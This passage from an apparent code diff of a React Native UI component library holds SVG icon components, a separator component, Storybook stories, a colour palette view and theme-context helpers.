		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		d="M12 17.25C11.7929 17.25 11.625 17.4179 11.625 17.625C11.625 17.8321 11.7929 18 12 18C12.2071 18 12.375 17.8321 12.375 17.625C12.375 17.4179 12.2071 17.25 12 17.25V17.25"
		fill="none"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M12 23.25C18.2132 23.25 23.25 18.2132 23.25 12C23.25 5.7868 18.2132 0.75 12 0.75C5.7868 0.75 0.75 5.7868 0.75 12C0.75 18.2132 5.7868 23.25 12 23.25Z"
		stroke={color}
		strokeWidth={strokeWidth}
		/>
		</Icon>
		)

-24

packages/components/src/Icon/reactnative/icons/Home.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Home: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size} color={color}>
		<Path
		d="M3.753 13.944V22.194H9.753V16.194C9.753 15.3655 10.4246 14.694 11.253 14.694H12.753C13.5814 14.694 14.253 15.3655 14.253 16.194V22.194H20.253V13.944"
		fill="transparent"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		d="M0.752998 12.444L10.942 2.25499C11.2233 1.97347 11.605 1.81531 12.003 1.81531C12.401 1.81531 12.7827 1.97347 13.064 2.25499L23.253 12.444"
		fill="transparent"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-12

packages/components/src/Icon/reactnative/icons/index.ts

		export * from './Bug'
		export * from './CalendarAdd'
		export * from './Clock'
		export * from './Home'
		export * from './Help'
		export * from './Lock'
		export * from './Logout'
		export * from './Profile'
		export * from './Search'
		export * from './Share'
		export * from './Virtapedia'
		export * from './VirtaSpark'

-34

packages/components/src/Icon/reactnative/icons/Lock.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Lock: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M3.90625 10.1562H21.0937V24.2187H3.90625V10.1562Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M7.03125 10.1562V6.25C7.03125 3.22969 9.47969 0.78125 12.5 0.78125C15.5203 0.78125 17.9687 3.22969 17.9687 6.25V10.1562"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M12.5 15.625V18.75"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-32

packages/components/src/Icon/reactnative/icons/Logout.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Logout: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		d="M7.8125 12.5041H24.2187"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M20.3125 16.4103L24.2187 12.5041L20.3125 8.59781"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M16.4063 17.1875V21.875C16.4435 22.6981 15.8084 23.3965 14.9855 23.4375H2.20111C1.3786 23.3959 0.744167 22.6977 0.781323 21.875V3.125C0.743586 2.30206 1.37834 1.60351 2.20111 1.5625H14.9855C15.8084 1.60352 16.4435 2.30189 16.4063 3.125V7.8125"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-30

packages/components/src/Icon/reactnative/icons/Profile.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Profile: React.SFC<IconProps> = ({
		size,
		color,
		strokeWidth = 1.5,
		}) => (
		<Icon size={size} color={color}>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M12 11.45C14.8995 11.45 17.25 9.09951 17.25 6.20001C17.25 3.30052 14.8995 0.950012 12 0.950012C9.10051 0.950012 6.75 3.30052 6.75 6.20001C6.75 9.09951 9.10051 11.45 12 11.45Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M2.25 23.45C2.25 18.0652 6.61522 13.7 12 13.7C17.3848 13.7 21.75 18.0652 21.75 23.45"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-26

packages/components/src/Icon/reactnative/icons/Search.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Search: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M15.5403 19.0031C19.6351 17.2629 21.5438 12.5327 19.8036 8.43797C18.0633 4.34321 13.3332 2.43449 9.2384 4.17472C5.14364 5.91495 3.23492 10.6451 4.97515 14.7399C6.71538 18.8347 11.4456 20.7434 15.5403 19.0031Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M18.0853 17.2847L24.3333 23.5336"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-32

packages/components/src/Icon/reactnative/icons/Share.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Share: React.SFC<IconProps> = ({ size, color, strokeWidth }) => (
		<Icon size={size}>
		<Path
		fill="none"
		d="M17.25 8.4502H18.75C19.5784 8.4502 20.25 9.12177 20.25 9.9502V21.9502C20.25 22.7786 19.5784 23.4502 18.75 23.4502H5.25C4.42157 23.4502 3.75 22.7786 3.75 21.9502V9.9502C3.75 9.12177 4.42157 8.4502 5.25 8.4502H6.75"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M12 0.950195V11.4502"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M8.25 4.7002L12 0.950195L15.75 4.7002"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-54

packages/component...c/Icon/reactnative/icons/Virtapedia.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const Virtapedia: React.SFC<IconProps> = ({
		size,
		color,
		strokeWidth,
		}) => (
		<Icon size={size}>
		<Path
		fill="none"
		d="M5.46875 2.34271H2.34375C1.48081 2.34271 0.78125 3.04227 0.78125 3.90521V22.6552C0.78125 23.5182 1.48081 24.2177 2.34375 24.2177H22.6562C23.5192 24.2177 24.2187 23.5182 24.2187 22.6552V3.90521C24.2187 3.04227 23.5192 2.34271 22.6562 2.34271H11.7187"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		fillRule="evenodd"
		clipRule="evenodd"
		d="M11.7188 11.7177L8.59375 9.37501L5.46875 11.7188V1.5625C5.46847 1.35512 5.55066 1.15614 5.6972 1.0094C5.84375 0.862665 6.04262 0.780212 6.25 0.780212H10.9375C11.369 0.780212 11.7188 1.12999 11.7188 1.56146V11.7177Z"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M5.46875 19.5302H16.4062"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M5.46875 14.8427H19.5312"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		<Path
		fill="none"
		d="M19.5312 10.1552H14.8438"
		stroke={color}
		strokeWidth={strokeWidth}
		strokeLinecap="round"
		strokeLinejoin="round"
		/>
		</Icon>
		)

-21

packages/component...c/Icon/reactnative/icons/VirtaSpark.tsx

		import * as React from 'react'
		import { Path } from 'react-native-svg'
		import { Icon, IconProps } from '..'

		export const VirtaSpark: React.SFC<IconProps> = ({ size, color }) => (
		<Icon size={size}>
		{size > 30 ? (
		<Path
		fill={color}
		fillRule="evenodd"
		clipRule="evenodd"
		d="M17.2835 0.951506C15.4021 3.50688 13.2605 3.08088 12.5 0C11.7397 3.08088 9.59803 3.50688 7.71651 0.951506C8.19303 4.08885 6.37727 5.302 3.66117 3.66117C5.30201 6.37735 4.08885 8.19295 0.9515 7.71645C3.50688 9.59795 3.08088 11.7396 0 12.5C3.08088 13.2604 3.50688 15.402 0.9515 17.2835C4.08885 16.807 5.30201 18.6227 3.66117 21.3388C6.37727 19.698 8.19303 20.9112 7.71651 24.0485C9.59803 21.4932 11.7397 21.9191 12.5 25C13.2605 21.9191 15.4021 21.4932 17.2835 24.0485C16.8071 20.9112 18.6227 19.698 21.3388 21.3388C19.698 18.6227 20.9112 16.807 24.0485 17.2835C21.4932 15.402 21.9191 13.2604 25 12.5C21.9191 11.7396 21.4932 9.59795 24.0485 7.71645C20.9112 8.19295 19.698 6.37733 21.3388 3.66117C18.6227 5.302 16.8071 4.08885 17.2835 0.951506V0.951506ZM20.9091 12.4999C20.9091 17.1442 17.1443 20.909 12.5 20.909C7.85579 20.909 4.09094 17.1442 4.09094 12.4999C4.09094 7.85574 7.85579 4.09086 12.5 4.09086C17.1443 4.09086 20.9091 7.85574 20.9091 12.4999V12.4999Z"
		/>
		) : (
		<Path
		d="M21.7911 10.0093C21.4711 8.81618 21.743 7.72875 23.3248 6.24863C21.2514 6.87747 20.1667 6.56854 19.3003 5.69942C18.4338 4.8303 18.118 3.74835 18.751 1.67509C17.2695 3.25681 16.182 3.5273 14.9887 3.20875C13.7955 2.89021 12.9909 2.11034 12.4993 0C12.0077 2.11034 11.2017 2.88335 10.0085 3.20875C8.81529 3.53416 7.7278 3.25681 6.2476 1.67509C6.87648 3.74835 6.56753 4.83304 5.69836 5.69942C4.82919 6.5658 3.74856 6.88022 1.67518 6.24863C3.25699 7.72875 3.52749 8.81618 3.20893 10.0093C2.89037 11.2025 2.11045 12.0085 0 12.5C2.11045 12.9915 2.88351 13.7975 3.20893 14.9907C3.53436 16.1838 3.25699 17.2699 1.67518 18.7514C3.74856 18.1212 4.83331 18.4301 5.69836 19.3006C6.56341 20.1711 6.8806 21.2516 6.2476 23.3249C7.7278 21.7432 8.81529 21.4713 10.0085 21.7912C11.2017 22.1112 12.0077 22.8897 12.4993 25C12.9909 22.8897 13.7969 22.1167 14.9887 21.7912C16.1806 21.4658 17.2695 21.7432 18.751 23.3249C18.1208 21.2516 18.4297 20.167 19.3003 19.3006C20.1708 18.4342 21.2514 18.1184 23.3248 18.7514C21.743 17.2699 21.4711 16.1824 21.7911 14.9907C22.111 13.7989 22.8895 12.9915 25 12.5C22.8895 12.0085 22.111 11.2025 21.7911 10.0093ZM14.5136 20.0049C13.0292 20.4031 11.4601 20.3521 10.0047 19.8584C8.54922 19.3648 7.27286 18.4506 6.33701 17.2316C5.40115 16.0126 4.84783 14.5434 4.74702 13.0099C4.6462 11.4765 5.00243 9.94752 5.77063 8.61648C6.53884 7.28543 7.68453 6.21208 9.06282 5.53216C10.4411 4.85223 11.9901 4.59628 13.5138 4.79666C15.0376 4.99705 16.4677 5.64477 17.6233 6.65792C18.7789 7.67107 19.6081 9.00413 20.006 10.4885C20.2701 11.4743 20.3375 12.5024 20.2042 13.5141C20.0709 14.5259 19.7395 15.5015 19.2291 16.3852C18.7187 17.2689 18.0392 18.0434 17.2294 18.6645C16.4196 19.2856 15.4954 19.7411 14.5095 20.0049H14.5136Z"
		fill={color}
		/>
		)}
		</Icon>
		)

-3

packages/components/src/Icon/reactnative/index.ts

		export * from './VirtaLogo'
		export * from './Icon'
		export * from './icons'

-23

packages/components/src/Icon/reactnative/VirtaLogo.tsx

		import * as React from 'react'
		import Svg, { Path } from 'react-native-svg'

		interface Props {
		size: number
		color: string
		}

		export const VirtaLogo: React.SFC<Props> = ({
		size = 200,
		color = 'black',
		}) => (
		<Svg height={size} width={size} viewBox="0 0 192 192">
		<Path
		fill={color}
		d="M61.8258 133.651C66.0551 133.651 69.3001 130.61 69.3001 126.392C69.3001 122.175 66.0551 119.134 61.8258 119.134C57.5965 119.134 54.3515 122.175 54.3515 126.392C54.3515 130.61 57.5965 133.651 61.8258 133.651ZM67.6289 190.82V141.789H56.0227V190.82H67.6289ZM31.7441 190.82C39.9053 178.271 46.4978 162.087 49.8403 141.789H37.9265C35.6658 156.694 32.4208 167.48 27.0124 176.993C21.7015 167.48 18.4564 156.694 16.2008 141.789H4C7.34241 162.087 14.0272 178.271 22.0962 190.82H31.7441ZM137.471 190.135V180.423C135.293 181.036 133.044 181.366 130.781 181.404C125.962 181.404 124.194 179.441 124.194 173.067V151.598H138.255L142.09 141.789H124.183V127.077L112.577 130.512V175.817C112.577 186.506 119.462 191.801 128.802 191.801C131.77 191.818 134.712 191.252 137.461 190.135H137.471ZM88.196 166.304C88.196 156.301 92.8097 151.107 101.868 151.107C104.036 151.111 106.191 151.44 108.261 152.084V142.182C106.165 141.489 103.974 141.125 101.766 141.104C95.7677 141.104 91.2462 143.752 88.196 148.357V141.789H76.5796V190.82H88.1857L88.196 166.304ZM159.586 182.979C154.573 182.979 151.82 180.034 151.82 176.308C151.82 172.29 154.967 169.346 162.339 169.346C164.845 169.365 167.346 169.594 169.813 170.031V173.675C169.813 179.447 164.995 182.979 159.586 182.979ZM187.32 190.544V181.997C182.404 182.585 180.656 180.919 180.656 176.702V157.379C180.656 145.418 173.084 140.807 159.315 140.807C155.118 140.813 150.932 141.241 146.821 142.085L142.792 152.38C147.787 151.182 152.897 150.524 158.033 150.417C165.723 150.417 169.824 152.774 169.824 158.264V161.699C166.838 161.126 163.806 160.83 160.765 160.814C147.196 160.814 140.608 167.874 140.608 176.405C140.608 184.742 147.098 191.801 157.623 191.801C163.815 191.801 168.537 189.246 171.387 185.33C174.34 190.334 180.758 192.589 187.32 190.544Z"
		/>
		<Path
		fill={color}
		d="M149.549 54.5733C142.644 53.2442 139.168 50.0597 138.379 46.093C137.589 42.1263 139.578 37.8632 145.443 33.9987C138.558 35.4096 134.124 33.7943 131.873 30.4206C129.623 27.0468 129.823 22.3594 133.76 16.5526C127.936 20.4783 123.22 20.6777 119.847 18.4337C116.474 16.1896 114.859 11.7885 116.258 4.89792C112.388 10.7508 108.107 12.7341 104.129 11.9418C100.151 11.1495 96.9523 7.68891 95.6297 0.803467C94.2968 7.68891 91.1031 11.1546 87.125 11.9418C83.1469 12.729 78.8715 10.7508 74.9959 4.89792C76.4108 11.768 74.7857 16.1845 71.4074 18.4337C68.0292 20.6828 63.318 20.4783 57.4944 16.5526C61.4366 22.3594 61.6365 27.0571 59.3809 30.4206C57.1253 33.784 52.7166 35.3993 45.8113 33.9987C51.6811 37.8632 53.665 42.1314 52.8755 46.093C52.086 50.0545 48.6103 53.2493 41.7051 54.5733C48.6103 55.9023 52.086 59.0818 52.8755 63.0484C53.665 67.0151 51.6811 71.2834 45.8113 75.1427C52.6961 73.737 57.1304 75.3523 59.3809 78.7209C61.6314 82.0895 61.4315 86.782 57.4944 92.5889C63.318 88.658 68.0343 88.4637 71.4074 90.7078C74.7806 92.9518 76.4006 97.353 74.9959 104.244C78.8715 98.3906 83.1469 96.4073 87.125 97.1945C91.1031 97.9817 94.302 101.447 95.6297 108.333C96.9574 101.447 100.151 97.9868 104.129 97.1945C108.107 96.4022 112.388 98.3906 116.258 104.244C114.849 97.3734 116.469 92.9569 119.847 90.7078C123.225 88.4586 127.936 88.6631 133.76 92.5889C129.818 86.782 129.618 82.0792 131.873 78.7209C134.129 75.3625 138.538 73.7421 145.443 75.1427C139.578 71.2834 137.589 67.0151 138.379 63.0484C139.168 59.0818 142.644 55.9176 149.549 54.5733ZM102.709 89.9615C95.6895 91.3541 88.4132 90.6398 81.8007 87.9088C75.1881 85.1779 69.5361 80.5531 65.5596 74.6191C61.5831 68.6852 59.4606 61.7087 59.4606 54.5719C59.4606 47.4351 61.583 40.4586 65.5595 34.5246C69.5359 28.5906 75.1878 23.9657 81.8004 21.2347C88.413 18.5037 95.6892 17.7894 102.709 19.1819C109.729 20.5745 116.177 24.0115 121.237 29.0582C126.298 34.1049 129.744 40.5347 131.14 47.5345C132.069 52.1828 132.07 56.9678 131.143 61.6165C130.217 66.2651 128.381 70.6862 125.741 74.6274C123.101 78.5686 119.708 81.9527 115.756 84.5863C111.804 87.22 107.371 89.0517 102.709 89.9768V89.9615Z"
		/>
		</Svg>
		)

-8

packages/components/src/index.ts

		import * as ThemeContext from './ThemeContext'
		import * as Button from './Button/reactnative'
		import * as Icon from './Icon/reactnative'
		import * as Interpose from './Interpose/reactnative'
		import * as Text from './Text/reactnative'
		import * as ThemeSwitcher from './Storybook/reactnative/ThemeSwitcher'

		export { ThemeContext, Button, Icon, Interpose, Text, ThemeSwitcher }

-1

packages/components/src/Interpose/reactnative/index.ts

export * from './Interpose'

-53

packages/component...e/reactnative/Interpose.stories.rnw.tsx

		import * as React from 'react'
		import { storiesOf } from '@storybook/react'
		import { View, StyleSheet } from 'react-native'
		import { Primitives } from '@virtahealth/substrate-styles'

		import { Interpose } from './'

		const Border = () => (
		<View
		style={{
		width: '100%',
		height: 2,
		backgroundColor: Primitives.color.calciumBlue300,
		marginVertical: 8,
		}}
		/>
		)

		const Row = () => (
		<View
		style={{
		width: '100%',
		height: '10vh',
		backgroundColor: Primitives.color.oxygenBlue300,
		}}
		/>
		)

		storiesOf('Interpose', module).add('Interpose', () => {
		return (
		<View style={styles.container}>
		<Interpose with={<Border />}>
		<Row />
		<Row />
		<Row />
		<Row />
		<Row />
		<Row />
		</Interpose>
		</View>
		)
		})

		const styles = StyleSheet.create({
		container: {
		padding: 32,
		},
		title: {
		fontFamily: 'sans-serif',
		fontSize: 24,
		fontWeight: 'bold',
		},
		})

-47

packages/components/src/Interpose/reactnative/Interpose.tsx

		import * as React from 'react'
		import { Children, isValidElement, ReactNode, ReactElement, SFC } from 'react'
		import { View, ViewStyle, StyleProp } from 'react-native'

		/**
		* Inserts an arbitrary component, such as a separator,
		* between children nodes.
		*/

		type FlexDirection = 'row' \| 'column' \| never

		interface Props {
		children: ReactNode
		with: ReactNode
		flexDirection?: FlexDirection
		style?: StyleProp<ViewStyle>
		}

		export const Interpose: SFC<Props> = ({
		children,
		with: providedComponent,
		flexDirection = 'column',
		style,
		}: Props) => {
		const childElements = Children.toArray(children).filter(
		(c): c is ReactElement<any> => isValidElement(c)
		)
		const interposedChildren = childElements.map((child, i) => {
		const isNotLastChild = i < childElements.length - 1

		return (
		<View
		key={child.key \|\| i}
		style={
		{
		flexDirection,
		} as ViewStyle
		}
		>
		{child}
		{isNotLastChild && providedComponent}
		</View>
		)
		})

		return <View style={[{ flexDirection }, style]}>{interposedChildren}</View>
		}

-1

packages/components/src/Palette/reactnative/index.ts

export * from './Palette'

-11

packages/component...tte/reactnative/Palette.stories.rnw.tsx

		import * as React from 'react'
		import { storiesOf } from '@storybook/react'
		import { withKnobs, boolean } from '@storybook/addon-knobs'
		import { ColorGrid } from './'

		const stories = storiesOf('Color', module)
		stories.addDecorator(withKnobs)

		stories.add('Palette', () => {
		return <ColorGrid grayscale={boolean('Grayscale', false)} />
		})

-137

packages/components/src/Palette/reactnative/Palette.tsx

		import * as React from 'react'
		import { startCase } from 'lodash'
		import { View, StyleSheet, Text } from 'react-native'
		import { Primitives } from '@virtahealth/substrate-styles'

		const Color = require('color')

		const LIGHTEST_COLOR_WEIGHT = 100
		const DARKEST_COLOR_WEIGHT = 900

		const themeColors: { [key: string]: string } = Primitives.color
		const fontSizes: number[] = Object.keys(Primitives.font)
		.filter(key => key.includes('fontSize'))
		// @ts-ignore
		.map(key => Primitives.font[key])
		.sort()

		const getContrastingColor = (colorName: string, colorValue: string) => {
		const color = colorName.replace(/[0-9]/g, '')
		const darkestColor = themeColors[`${color}${DARKEST_COLOR_WEIGHT}`]
		const lightestColor = themeColors[`${color}${LIGHTEST_COLOR_WEIGHT}`]

		return Color(colorValue).isLight() ? darkestColor : lightestColor
		}

		interface ColorGridProps {
		grayscale: boolean
		}

		export const ColorGrid: React.FC<ColorGridProps> = React.memo(
		({ grayscale }) => (
		<View
		// RN doesn't recognize 'filter' which is web-only
		// @ts-ignore
		style={[
		styles.paletteContainer,
		grayscale && {
		filter: 'grayscale(100%)',
		},
		]}
		>
		{Object.entries(themeColors).map(([key, value]: [string, string]) => (
		<Swatch key={key} colorName={key} colorValue={value} />
		))}
		</View>
		)
		)

		interface SwatchProps {
		colorName: string
		colorValue: string
		}

		export const Swatch: React.FC<SwatchProps> = React.memo(
		({ colorName, colorValue }) => {
		const contrastingColor = getContrastingColor(colorName, colorValue)
		const formattedColorName = startCase(colorName)
		const accessibilityRating = Color(colorValue).level(Color(contrastingColor))

		const textColorStyle = {
		color: contrastingColor,
		}

		const accessibilityBadgeStyle = {
		borderRadius: 4,
		borderColor: Color(contrastingColor)
		.fade(0.7)
		.toString(),
		}

		const accessibilityBadge = !!accessibilityRating && (
		<View
		style={[styles.accessibilityRatingContainer, accessibilityBadgeStyle]}
		>
		<Text style={[styles.accessibilityRatingText, textColorStyle]}>
		{accessibilityRating}
		</Text>
		</View>
		)

		return (
		<View style={[styles.swatchContainer, { backgroundColor: colorValue }]}>
		<View style={styles.swatchDescContainer}>
		<Text style={[styles.swatchDescNameText, textColorStyle]}>
		{formattedColorName}
		</Text>
		<Text style={[styles.swatchDescValueText, textColorStyle]}>
		{colorValue}
		</Text>
		</View>
		{accessibilityBadge}
		</View>
		)
		}
		)

		const styles = StyleSheet.create({
		paletteContainer: {
		flex: 1,
		flexDirection: 'column',
		width: '100vw',
		height: '100vh',
		flexWrap: 'wrap',
		},
		swatchContainer: {
		width: '12.5%',
		height: '20%',
		},
		swatchDescContainer: {
		position: 'absolute',
		bottom: 0,
		left: 0,
		width: '100%',
		padding: Primitives.space.space3,
		},
		swatchDescNameText: {
		fontWeight: '500',
		fontSize: fontSizes[2],
		},
		swatchDescValueText: {
		fontSize: fontSizes[1],
		fontWeight: '500',
		opacity: 0.8,
		},
		accessibilityRatingContainer: {
		position: 'absolute',
		top: Primitives.space.space3,
		right: Primitives.space.space3,
		paddingVertical: 1,
		paddingHorizontal: 3,
		borderWidth: 1,
		},
		accessibilityRatingText: {
		fontSize: fontSizes[1],
		fontWeight: '500',
		},
		})

-63

packages/components/src/Spacing/Spacing.stories.rnw.tsx

		import * as React from 'react'
		import { storiesOf } from '@storybook/react'
		import { View, StyleSheet, ViewStyle } from 'react-native'
		import { Primitives } from '@virtahealth/substrate-styles'

		import { Interpose } from '../Interpose/reactnative'

		const spacings = Primitives.space

		storiesOf('Layout', module).add('Spacing', () => {
		return (
		<View style={styles.container}>
		<View style={styles.exampleWrapper}>
		<Interpose with={<View style={{ padding: 5 }} />}>
		{Object.entries(spacings).map(([key, value]) => {
		return (
		<View>
		<View
		style={
		{
		width: 450,
		height: value,
		backgroundColor: Primitives.color.carbonGray500,
		} as ViewStyle
		}
		key={key}
		/>
		</View>
		)
		})}
		</Interpose>
		</View>
		</View>
		)
		})

		const styles = StyleSheet.create({
		container: {
		padding: 32,
		},
		example: {
		borderColor: '#dddddd',
		borderWidth: 1,
		display: 'flex',
		flex: 0,
		padding: 16,
		},
		exampleTitle: {
		fontFamily: 'sans-serif',
		fontSize: 18,
		fontWeight: 'bold',
		marginBottom: 12,
		},
		exampleWrapper: {
		width: 300,
		},
		title: {
		fontFamily: 'sans-serif',
		fontSize: 24,
		fontWeight: 'bold',
		marginBottom: 24,
		},
		})

-1

packages/components/src/Storybook/index.ts

export * from './reactnative/ThemeSwitcher'

-29

packages/component...Storybook/reactnative/ThemeSwitcher.tsx

		import * as React from 'react'
		import { View, ViewStyle, StyleProp } from 'react-native'

		import * as ThemeContext from '../../ThemeContext'
		import * as Button from '../../Button/reactnative'

		interface Props {
		style?: StyleProp<ViewStyle>
		}

		export const ThemeSwitcher: React.FunctionComponent<Props> = ({
		style: inlineStyles,
		}) => (
		<View style={inlineStyles}>
		<ThemeContext.Consumer>
		{({ setTheme }) => (
		<View>
		<Button.Base onPress={() => setTheme('base')}>Base</Button.Base>
		<Button.Base onPress={() => setTheme('high-contrast')}>
		High Contrast
		</Button.Base>
		<Button.Base onPress={() => setTheme('compact')}>Compact</Button.Base>
		</View>
		)}
		</ThemeContext.Consumer>
		</View>
		)

		export default ThemeSwitcher

-1

packages/components/src/Text/reactnative/index.ts

export * from './Text'

-26

packages/component...c/Text/reactnative/Text.stories.rnw.tsx

		import * as React from 'react'
		import { View } from 'react-native'
		import { storiesOf } from '@storybook/react'

		import * as Text from '../reactnative'
		import { Interpose } from '../../Interpose/reactnative'

		storiesOf('Typography', module).add('Styles', () => {
		return (
		<Interpose
		with={
		<View
		style={{ borderWidth: 1, borderColor: '#EEE', marginVertical: 10 }}
		/>
		}
		>
		<Text.Heading1>Heading 1</Text.Heading1>
		<Text.Heading2>Heading 2</Text.Heading2>
		<Text.Heading3>Heading 3</Text.Heading3>
		<Text.Heading4>Heading 4</Text.Heading4>
		<Text.Base>Base</Text.Base>
		<Text.Blockquote>Blockquote</Text.Blockquote>
		<Text.Caption>Caption</Text.Caption>
		</Interpose>
		)
		})

-35

packages/components/src/Text/reactnative/Text.tsx

		import * as React from 'react'
		import { withTheme } from '../../ThemeContext/withTheme'

		import { Text as RNText, TextProps } from 'react-native'
		import { ThemedComponent, ThemedComponentLocked } from '../../typings'

		type Props = TextProps & { children: any }

		const themedText = (textStyle: string) => ({
		setTheme,
		getThemeStyle,
		...props
		}: ThemedComponentLocked<Props>) => (
		<RNText style={getThemeStyle('text', textStyle)} {...props} />
		)

		const baseText = () => ({
		setTheme,
		getThemeStyle,
		style: inlineStyles,
		...props
		}: ThemedComponent<Props>) => (
		<RNText style={[getThemeStyle('text', 'base'), inlineStyles]} {...props} />
		)

		export const Base = withTheme(baseText())
		export const Heading1 = withTheme(themedText('heading1'))
		export const Heading2 = withTheme(themedText('heading2'))
		export const Heading3 = withTheme(themedText('heading3'))
		export const Heading4 = withTheme(themedText('heading4'))
		export const Body = withTheme(themedText('body'))
		export const Caption = withTheme(themedText('caption'))
		export const Monospace = withTheme(themedText('monospace'))
		export const Blockquote = withTheme(themedText('blockquote'))
		export const Smallcaps = withTheme(themedText('smallcaps'))

-42

packages/components/src/ThemeContext/helpers.ts

		import { StyleSheet, StyleProp, ViewStyle, TextStyle } from 'react-native'

		const tokenDelimiter = '__'

		export const constructToken = (parts: string[]) => {
		return [parts[0], ...parts.splice(1)].join(tokenDelimiter)
		}

		export const convertThemeSrcToStyleSheet = (themeSrc: {
		[key: string]: number \| string
		}): StyleProp<ViewStyle \| TextStyle> => {
		const formattedTheme = Object.keys(themeSrc).reduce(
		(acc: { [key: string]: any }, key) => {
		const keywords = key.split(tokenDelimiter)
		const styleProperty = keywords.pop()
		const styleKey = keywords.join(tokenDelimiter)

		return {
		...acc,
		[styleKey]: {
		...acc[styleKey],
		[styleProperty as string]: themeSrc[key],
		},
		}
		},
		{}
		)

		return StyleSheet.create(formattedTheme)
		}

		export const convertThemesToStyleSheets = (themes): any =>
		Object.entries(themes).reduce(
		(acc, [alias, theme]) => ({
		...acc,
		[alias]: convertThemeSrcToStyleSheet(theme),
		}),
		{}
		)

		export const composeThemeStyles = (styles: string[]) =>
		StyleSheet.compose(styles)

-109

packages/components/src/ThemeContext/index.tsx

		import * as React from 'react'
		import {
		BaseTheme,
		BaseHighContrastTheme,
		BaseCompactTheme,
		} from '@virtahealth/substrate-styles'
		import { StyleSheet, StyleProp, ViewStyle, TextStyle } from 'react-native'

		import { Theme } from '../typings'

		const DEFAULT_THEME: Theme = 'base'

		const themeAliases = {
		base: BaseTheme,
		'high-contrast': BaseHighContrastTheme,
		compact: BaseCompactTheme,
		}

		const convertThemeSrcToStyleSheet = (themeSrc: {
		[key: string]: number \| string
		}): StyleProp<ViewStyle \| TextStyle> => {
		const formattedTheme = Object.keys(themeSrc).reduce(
		(acc: { [key: string]: any }, key) => {
		const keywords = key.split('__')
		const styleProperty = keywords.pop()
		const styleKey = keywords.join('__')

		return {
		...acc,
		[styleKey]: {
		...acc[styleKey],
		[styleProperty as string]: themeSrc[key],
		},
		}
		},
		{}
		)

		return StyleSheet.create(formattedTheme)
		}

		const createThemeStyleSheets = (): any =>
		Object.entries(themeAliases).reduce(
		(acc, [alias, theme]) => ({
		...acc,
		[alias]: convertThemeSrcToStyleSheet(theme),
		}),
		{}
		)

		const themeStyleSheets = createThemeStyleSheets()

		const { Provider, Consumer } = React.createContext({
		theme: DEFAULT_THEME,
		setTheme: (theme: Theme) => {},
		getThemeStyle: (component: string, variant: string) => [],
		})

		interface State {
		currentTheme: any
		}

		class ThemeProvider extends React.Component<{}, State> {
		state = {
		currentTheme: themeStyleSheets[DEFAULT_THEME],
		}

		setTheme = (theme: any) => {
		this.setState({ currentTheme: themeStyleSheets[theme] })
		}
